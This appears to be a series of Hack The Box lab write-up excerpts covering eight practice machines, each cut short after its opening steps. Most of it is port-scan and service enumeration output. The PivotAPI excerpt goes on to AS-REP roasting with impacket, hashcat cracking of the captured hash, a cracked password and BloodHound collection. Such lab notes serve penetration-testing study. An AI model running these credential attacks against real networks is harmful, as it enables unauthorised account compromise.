[HTB] Machine: Bucket

Bucket

Enumeration

• nmap

└─$ nmap -Pn -p- 10.10.10.212 --min-rate 1000 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-31 16:05 GMT
Warning: 10.10.10.212 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.212 (10.10.10.212)
Host is up (0.18s latency).
Not shown: 60507 closed tcp ports (conn-refused), 5026 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 157.48 seconds

└─$ nmap -Pn -p22,80 -sC -sV 10.10.10.212 --min-rate 1000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-31 16:25 GMT
Nmap scan report for 10.10.10.212 (10.10.10.212)
Host is up (0.19s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://bucket.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.32 seconds

• Web Server

[HTB] Machine: Bitlab

Bitlab

Enumeration

• nmap

└─$ nmap -Pn -p- 10.10.10.114 --min-rate 5000                 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-25 18:31 BST
Nmap scan report for 10.10.10.114 (10.10.10.114)
Host is up (0.27s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 127.78 seconds

└─$ nmap -Pn -p22,80 -sC -sV 10.10.10.114 --min-rate 5000 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-25 18:33 BST
Nmap scan report for 10.10.10.114 (10.10.10.114)
Host is up (0.34s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
|   256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
|_  256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
80/tcp open  http    nginx
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
|_http-trane-info: Problem with XML parsing of /evox/about
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.114/users/sign_in
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.12 seconds

• Web server

[HTB] Machine: Vault

Vault

Enumeration

• nmap

└─$ nmap -Pn -p- 10.10.10.109 --min-rate 5000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-23 19:19 BST
Warning: 10.10.10.109 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.109 (10.10.10.109)
Host is up (0.12s latency).
Not shown: 56547 filtered tcp ports (no-response), 8986 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 133.42 seconds

└─$ nmap -Pn -p22,80 -sC -sV 10.10.10.109 --min-rate 5000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-23 19:21 BST
Nmap scan report for 10.10.10.109 (10.10.10.109)
Host is up (0.12s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a6:9d:0f:7d:73:75:bb:a8:94:0a:b7:e3:fe:1f:24:f4 (RSA)
|   256 2c:7c:34:eb:3a:eb:04:03:ac:48:28:54:09:74:3d:27 (ECDSA)
|_  256 98:42:5f:ad:87:22:92:6d:72:e6:66:6c:82:c1:09:83 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.13 seconds

• Web server

[HTB] Machine: PivotAPI

PivotAPI

Enumeration

• nmap

└─$ nmap -Pn -p- 10.10.10.240 --min-rate 5000                                                                              
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-06 03:10 BST
Nmap scan report for 10.10.10.240 (10.10.10.240)
Host is up (0.10s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
1433/tcp  open  ms-sql-s
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
9389/tcp  open  adws
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49708/tcp open  unknown
52843/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 65.93 seconds

└─$ nmap -Pn -p21,22,53,88,135,139,389,445,464,593,636,1433,3268,3269,9389 -sC -sV 10.10.10.240 --min-rate 5000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-06 03:12 BST
Nmap scan report for 10.10.10.240 (10.10.10.240)
Host is up (0.10s latency).

PORT     STATE    SERVICE       VERSION
21/tcp   open     ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-19-21  03:06PM               103106 10.1.1.414.6453.pdf
| 02-19-21  03:06PM               656029 28475-linux-stack-based-buffer-overflows.pdf
| 02-19-21  12:55PM              1802642 BHUSA09-McDonald-WindowsHeap-PAPER.pdf
| 02-19-21  03:06PM              1018160 ExploitingSoftware-Ch07.pdf
| 08-08-20  01:18PM               219091 notes1.pdf
| 08-08-20  01:34PM               279445 notes2.pdf
| 08-08-20  01:41PM                  105 README.txt
|_02-19-21  03:06PM              1301120 RHUL-MA-2009-06.pdf
22/tcp   open     ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   3072 fa:19:bb:8d:b6:b6:fb:97:7e:17:80:f5:df:fd:7f:d2 (RSA)
|   256 44:d0:8b:cc:0a:4e:cd:2b:de:e8:3a:6e:ae:65:dc:10 (ECDSA)
|_  256 93:bd:b6:e2:36:ce:72:45:6c:1d:46:60:dd:08:6a:44 (ED25519)
53/tcp   open     domain        Simple DNS Plus
88/tcp   open     kerberos-sec  Microsoft Windows Kerberos (server time: 2023-10-05 19:12:42Z)
135/tcp  open     msrpc         Microsoft Windows RPC
139/tcp  open     netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  filtered ldap
445/tcp  open     microsoft-ds?
464/tcp  filtered kpasswd5
593/tcp  open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open     tcpwrapped
1433/tcp open     ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   10.10.10.240:1433: 
|     Target_Name: LICORDEBELLOTA
|     NetBIOS_Domain_Name: LICORDEBELLOTA
|     NetBIOS_Computer_Name: PIVOTAPI
|     DNS_Domain_Name: LicorDeBellota.htb
|     DNS_Computer_Name: PivotAPI.LicorDeBellota.htb
|     DNS_Tree_Name: LicorDeBellota.htb
|_    Product_Version: 10.0.17763
| ms-sql-info: 
|   10.10.10.240:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-10-05T19:05:41
|_Not valid after:  2053-10-05T19:05:41
|_ssl-date: 2023-10-05T19:13:30+00:00; -7h00m01s from scanner time.
3268/tcp open     ldap          Microsoft Windows Active Directory LDAP (Domain: LicorDeBellota.htb0., Site: Default-First-Site-Name)
3269/tcp open     tcpwrapped
9389/tcp open     mc-nmf        .NET Message Framing
Service Info: Host: PIVOTAPI; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-10-05T19:12:54
|_  start_date: N/A
|_clock-skew: mean: -7h00m01s, deviation: 0s, median: -7h00m01s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.10 seconds

• smb

└─$ smbclient -N -L //10.10.10.240                                                              
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.240 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

• dns

└─$ dig axfr LicorDeBellota.htb @PivotAPI.LicorDeBellota.htb                                                   

; <<>> DiG 9.19.17-1-Debian <<>> axfr LicorDeBellota.htb @PivotAPI.LicorDeBellota.htb
;; global options: +cmd
; Transfer failed.

• ldapsearch

└─$ ldapsearch -H ldap://LicorDeBellota.htb -x -s base namingcontexts           
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingcontexts: DC=LicorDeBellota,DC=htb
namingcontexts: CN=Configuration,DC=LicorDeBellota,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=LicorDeBellota,DC=htb
namingcontexts: DC=DomainDnsZones,DC=LicorDeBellota,DC=htb
namingcontexts: DC=ForestDnsZones,DC=LicorDeBellota,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

└─$ ldapsearch -H ldap://LicorDeBellota.htb -x -b "DC=LicorDeBellota,DC=htb"
# extended LDIF
#
# LDAPv3
# base <DC=LicorDeBellota,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4563

# numResponses: 1

• No results for rpc
• ftp

└─$ ftp anonymous@10.10.10.240
Connected to 10.10.10.240.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||57367|)
150 Opening ASCII mode data connection.
02-19-21  03:06PM               103106 10.1.1.414.6453.pdf
02-19-21  03:06PM               656029 28475-linux-stack-based-buffer-overflows.pdf
02-19-21  12:55PM              1802642 BHUSA09-McDonald-WindowsHeap-PAPER.pdf
02-19-21  03:06PM              1018160 ExploitingSoftware-Ch07.pdf
08-08-20  01:18PM               219091 notes1.pdf
08-08-20  01:34PM               279445 notes2.pdf
08-08-20  01:41PM                  105 README.txt
02-19-21  03:06PM              1301120 RHUL-MA-2009-06.pdf
226 Transfer complete.

• Running exiftool on pdf files shows LicorDeBellota.htb\kaorz

======== notes2.pdf
ExifTool Version Number         : 12.67
File Name                       : notes2.pdf
Directory                       : .
File Size                       : 279 kB
File Modification Date/Time     : 2020:08:08 12:34:25+01:00
File Access Date/Time           : 2023:10:06 19:12:03+01:00
File Inode Change Date/Time     : 2023:10:06 19:12:03+01:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.5
Linearized                      : No
Page Count                      : 5
XMP Toolkit                     : Image::ExifTool 12.03
Creator                         : Kaorz
Publisher                       : LicorDeBellota.htb
Producer                        : cairo 1.10.2 (http://cairographics.org)

Foothold

• Let’s check if user is AS-REP-roastable

└─$ impacket-GetNPUsers -dc-ip PivotAPI.LicorDeBellota.htb LicorDeBellota.htb/kaorz -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Getting TGT for kaorz
$krb5asrep$23$kaorz@LICORDEBELLOTA.HTB:117660010b88116ef19ce2f9e608d1d9$a8f47a80fddd556b91bb360af849916358388168cf2ed0c2783c95ff09d799d504477fefe0d1a9ab33a92243939260e558b739cedd2a8c3d61bf85ae56360069cd38a4f14b04865afdbbbf99a3816da14b41058a0249c62c180d50337a6e3c27da5cdde876ca8b4f70f1d5624c1f3358e0a451bb5ec9cb3ee580148951680f5d06f2ce8c11bf61cb8600cbb290dd046a12ad9c8cae68e4ca9706c904189e4ef0a192f8cc192e6286241547ae151111d074323e54a174b945156365f6db2f80d9b7ec558ffa64b7fcd93206f055ecfbf973fa4fff67f20ea88d63fdc29d6aea709c7da2d8073ef9f7fcc3f36a39160138e0679042f7fd8441

• Let’s crack it
  • kaorz:Roper4155

└─$ hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 4.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-sandybridge-12th Gen Intel(R) Core(TM) i5-12400, 1435/2934 MB (512 MB allocatable), 2MCU
...
$krb5asrep$23$kaorz@LICORDEBELLOTA.HTB:117660010b88116ef19ce2f9e608d1d9$a8f47a80fddd556b91bb360af849916358388168cf2ed0c2783c95ff09d799d504477fefe0d1a9ab33a92243939260e558b739cedd2a8c3d61bf85ae56360069cd38a4f14b04865afdbbbf99a3816da14b41058a0249c62c180d50337a6e3c27da5cdde876ca8b4f70f1d5624c1f3358e0a451bb5ec9cb3ee580148951680f5d06f2ce8c11bf61cb8600cbb290dd046a12ad9c8cae68e4ca9706c904189e4ef0a192f8cc192e6286241547ae151111d074323e54a174b945156365f6db2f80d9b7ec558ffa64b7fcd93206f055ecfbf973fa4fff67f20ea88d63fdc29d6aea709c7da2d8073ef9f7fcc3f36a39160138e0679042f7fd8441:Roper4155

• The creds didn’t work for ssh

└─$ sshpass -p 'Roper4155' ssh kaorz@10.10.10.240
Warning: Permanently added '10.10.10.240' (ED25519) to the list of known hosts.
Permission denied, please try again.

• No SPNs

└─$ impacket-GetUserSPNs LicorDeBellota.htb/Kaorz:'Roper4155' -dc-ip 10.10.10.240  
Impacket v0.11.0 - Copyright 2023 Fortra

No entries found!

• No access to mysql

└─$ impacket-mssqlclient LicorDeBellota.htb/Kaorz:'Roper4155'@10.10.10.240 -windows-auth 
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[-] ERROR(PIVOTAPI\SQLEXPRESS): Line 1: Error de inicio de sesión del usuario 'LICORDEBELLOTA\Kaorz'.
                                                                                                             

User

• Let’s check bloodhound

└─$ bloodhound-python -u kaorz -p 'Roper4155' -d licordebellota.htb -dc licordebellota.htb -ns 10.10.10.240 --zip
INFO: Found AD domain: licordebellota.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: licordebellota.htb
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Found 28 users
INFO: Connecting to LDAP server: licordebellota.htb
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 58 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: PivotAPI.LicorDeBellota.htb
INFO: Done in 00M 16S
INFO: Compressing output into 20231007112624_bloodhound.zip

• Nothing interesting
  • Domain Users

[HTB] Machine: Sizzle

Sizzle

Enumeration

• nmap

└─$ nmap -Pn -p- 10.10.10.103 --min-rate 5000                                                      
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-06 03:19 BST
Nmap scan report for 10.10.10.103 (10.10.10.103)
Host is up (0.11s latency).
Not shown: 65506 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
53/tcp    open  domain
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
443/tcp   open  https
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
5986/tcp  open  wsmans
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49668/tcp open  unknown
49677/tcp open  unknown
49688/tcp open  unknown
49689/tcp open  unknown
49691/tcp open  unknown
49694/tcp open  unknown
49699/tcp open  unknown
49708/tcp open  unknown
49714/tcp open  unknown

└─$ nmap -Pn -p21,53,80,135,139,443,445,464,593,636,3268,3269,5985,5986,9389,47001 -sC -sV 10.10.10.103 --min-rate 5000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-06 03:19 BST
Nmap scan report for 10.10.10.103 (10.10.10.103)
Host is up (0.10s latency).

PORT      STATE    SERVICE          VERSION
21/tcp    open     ftp              Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
53/tcp    open     domain           Simple DNS Plus
80/tcp    open     http             Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Potentially risky methods: TRACE
135/tcp   open     msrpc            Microsoft Windows RPC
139/tcp   open     netbios-ssn      Microsoft Windows netbios-ssn
443/tcp   open     ssl/http         Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
|_ssl-date: 2023-10-05T19:21:25+00:00; -7h00m01s from scanner time.
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
| tls-alpn: 
|   h2
|_  http/1.1
| http-methods: 
|_  Potentially risky methods: TRACE
445/tcp   open     microsoft-ds?
464/tcp   open     kpasswd5?
593/tcp   filtered http-rpc-epmap
636/tcp   filtered ldapssl
3268/tcp  filtered globalcatLDAP
3269/tcp  filtered globalcatLDAPssl
5985/tcp  filtered wsman
5986/tcp  open     ssl/http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: 2023-10-05T19:21:25+00:00; -7h00m01s from scanner time.
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2018-07-02T20:26:23
|_Not valid after:  2019-07-02T20:26:23
| tls-alpn: 
|   h2
|_  http/1.1
9389/tcp  open     mc-nmf           .NET Message Framing
47001/tcp filtered winrm
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -7h00m00s, deviation: 0s, median: -7h00m01s
| smb2-time: 
|   date: 2023-10-05T19:20:48
|_  start_date: 2023-10-05T19:16:02
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.35 seconds

• ftp

└─$ ftp anonymous@10.10.10.103
Connected to 10.10.10.103.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
229 Entering Extended Passive Mode (|||56265|)
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp> 

• Web Server

[HTB] Machine: Breadcrumps

Breadcrumps

Enumeration

• nmap

└─$ nmap -Pn -p- 10.10.10.228 --min-rate 5000 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-17 19:47 BST
Warning: 10.10.10.228 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.10.228 (10.10.10.228)
Host is up (0.096s latency).
Not shown: 62260 filtered tcp ports (no-response), 3270 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
443/tcp  open  https
445/tcp  open  microsoft-ds
3306/tcp open  mysql
5040/tcp open  unknown

└─$ nmap -Pn -p22,80,135,139,443,445,3306,5040 -sC -sV 10.10.10.228 --min-rate 5000 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-17 19:59 BST
Nmap scan report for 10.10.10.228 (10.10.10.228)
Host is up (0.15s latency).

PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 9d:d0:b8:81:55:54:ea:0f:89:b1:10:32:33:6a:a7:8f (RSA)
|   256 1f:2e:67:37:1a:b8:91:1d:5c:31:59:c7:c6:df:14:1d (ECDSA)
|_  256 30:9e:5d:12:e3:c6:b7:c6:3b:7e:1e:e7:89:7e:83:e4 (ED25519)
80/tcp   open  http          Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp  open  ssl/http      Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_http-title: Library
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
445/tcp  open  microsoft-ds?
3306/tcp open  mysql?
| fingerprint-strings: 
|   NULL, WMSRequest: 
|_    Host '10.10.16.9' is not allowed to connect to this MariaDB server
5040/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.94%I=7%D=9/17%Time=65074C9C%P=x86_64-pc-linux-gnu%r(NU
SF:LL,49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.16\.9'\x20is\x20not\x20allowe
SF:d\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(WMSRequest,49
SF:,"E\0\0\x01\xffj\x04Host\x20'10\.10\.16\.9'\x20is\x20not\x20allowed\x20
SF:to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -39s
| smb2-time: 
|   date: 2023-09-17T19:01:46
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

• Port 80, 443

[HTB] Machine: Explore

Explore

Enumeration

• nmap

└─$ nmap -Pn -p- 10.10.10.247 -T5                         
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-06 17:40 BST
Warning: 10.10.10.247 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.247 (10.10.10.247)
Host is up (0.12s latency).
Not shown: 65530 closed ports
PORT      STATE    SERVICE
2222/tcp  open     EtherNetIP-1
5555/tcp  filtered freeciv
42135/tcp open     unknown
59777/tcp open     unknown

└─$ nmap -p2222,38925,42135,59777 -Pn 10.10.10.247 -sC -sV
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-06 17:32 BST
Nmap scan report for 10.10.10.247 (10.10.10.247)
Host is up (0.12s latency).

PORT      STATE  SERVICE VERSION
2222/tcp  open   ssh     (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-SSH Server - Banana Studio
| ssh-hostkey: 
|_  2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)
42135/tcp open   http    ES File Explorer Name Response httpd
|_http-title: Site doesn't have a title (text/html).
59777/tcp open   http    Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or older
|_http-title: Site doesn't have a title (text/plain).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port2222-TCP:V=7.94%I=7%D=8/6%Time=64CFCB14%P=x86_64-pc-linux-gnu%r(NUL
SF:L,24,"SSH-2\.0-SSH\x20Server\x20-\x20Banana\x20Studio\r\n");
Service Info: Device: phone

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.46 seconds

Foothold/User

[HTB] Machine: Servmon

Servmon

Enumeration

• nmap

└─$ nmap -sC -sV -Pn 10.10.10.184
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-30 18:47 BST
Nmap scan report for 10.10.10.184 (10.10.10.184)
Host is up (0.14s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
| ftp-syst:
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_02-28-22  07:35PM       <DIR>          Users
22/tcp   open  ssh           OpenSSH for_Windows_8.0 (protocol 2.0)
| ssh-hostkey:
|   3072 c71af681ca1778d027dbcd462a092b54 (RSA)
|   256 3e63ef3b6e3e4a90f34c02e940672e42 (ECDSA)
|_  256 5a48c8cd39782129effbae821d03adaf (ED25519)
80/tcp   open  http
| fingerprint-strings:
|   GetRequest, HTTPOptions, RTSPRequest:
|     HTTP/1.1 200 OK
|     Content-type: text/html
|     Content-Length: 340
|     Connection: close
|     AuthInfo:
|     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|     <html xmlns="http://www.w3.org/1999/xhtml">
|     <head>
|     <title></title>
|     <script type="text/javascript">
|     window.location.href = "Pages/login.htm";
|     </script>
|     </head>
|     <body>
|     </body>
|     </html>
|   X11Probe:
|     HTTP/1.1 408 Request Timeout
|     Content-type: text/html
|     Content-Length: 0
|     Connection: close
|_    AuthInfo:
|_http-title: Site doesn't have a title (text/html).
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
5666/tcp open  tcpwrapped
6699/tcp open  napster?
8443/tcp open  ssl/https-alt
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2020-01-14T13:24:20
|_Not valid after:  2021-01-13T13:24:20
| fingerprint-strings:
|   FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions:
|     HTTP/1.1 404
|     Content-Length: 18
|     Document not found
|   GetRequest:
|     HTTP/1.1 302
|     Content-Length: 0
|     Location: /index.html
|     workers
|_    jobs
| http-title: NSClient++
|_Requested resource was /index.html
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.93%I=7%D=6/30%Time=649F154D%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html\r\nCon
SF:tent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\r\n\xe
SF:f\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\x201\.0\
SF:x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xhtml1-tra
SF:nsitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org/1999/xhtm
SF:l\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20\x20\x20<s
SF:cript\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x20\x20\x20w
SF:indow\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20\x20\x20
SF:</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n")%r(HTTPOption
SF:s,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html\r\nContent-
SF:Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\r\n\xef\xbb
SF:\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\x201\.0\x20Tr
SF:ansitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xhtml1-transiti
SF:onal\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org/1999/xhtml\">\
SF:r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20\x20\x20<script
